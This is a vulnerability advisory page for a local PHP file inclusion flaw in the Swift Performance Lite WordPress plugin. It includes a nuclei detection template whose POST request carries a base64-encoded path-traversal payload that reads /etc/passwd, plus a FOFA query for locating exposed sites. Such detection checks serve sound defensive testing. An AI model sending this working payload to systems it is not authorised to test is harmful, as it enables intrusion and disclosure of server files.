Browse / CVEs / CVE-2024-10516
CVE-2024-10516· swiftperformance / swift performance lite· CWE-98
Swift Performance Lite < 2.3.7.2 - Local PHP File Inclusion
highseverity
9.8CVSS score
6.4%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
A vulnerability in Swift Performance Lite before version 2.3.7.2 allows unauthenticated attackers to perform local PHP file inclusion via the 'ajaxify' parameter. This can lead to arbitrary code execution on the server.
Impact
Unauthenticated attackers can perform local PHP file inclusion via the ajaxify parameter to execute arbitrary code, potentially compromising the entire WordPress site.
Fix
Update Swift Performance Lite plugin to version 2.3.7.2 or later.
How to confirm it
Send: GET /
Positive when: contains "/wp-content/plugins/swift-performance-lite"
Send: POST /wp-admin/admin-ajax.php
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2024-10516 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-10516
info:
name: Swift Performance Lite < 2.3.7.2 - Local PHP File Inclusion
author: ritikchaddha
severity: high
description: |
A vulnerability in Swift Performance Lite before version 2.3.7.2 allows unauthenticated attackers to perform local PHP file inclusion via the 'ajaxify' parameter. This can lead to arbitrary code execution on the server.
impact: |
Unauthenticated attackers can perform local PHP file inclusion via the ajaxify parameter to execute arbitrary code, potentially compromising the entire WordPress site.
remediation: |
Update Swift Performance Lite plugin to version 2.3.7.2 or later.
reference:
- https://github.com/RandomRobbieBF/CVE-2024-10516
- https://nvd.nist.gov/vuln/detail/CVE-2024-10516
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-10516
cwe-id: CWE-98
epss-score: 0.06436
epss-percentile: 0.93773
cpe: cpe:2.3:a:swiftperformance:swift_performance_lite:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: swiftperformance
product: swift_performance_lite
fofa-query: body="/wp-content/plugins/swift-performance-lite"
tags: cve,cve2024,wp,wp-plugin,wordpress,swift-performance,lfi,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "/wp-content/plugins/swift-performance-lite"
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=swift_performance_ajaxify&data=WyJ0ZW1wbGF0ZS1wYXJ0IiwibnVsbCIsIi4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiXQ==
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from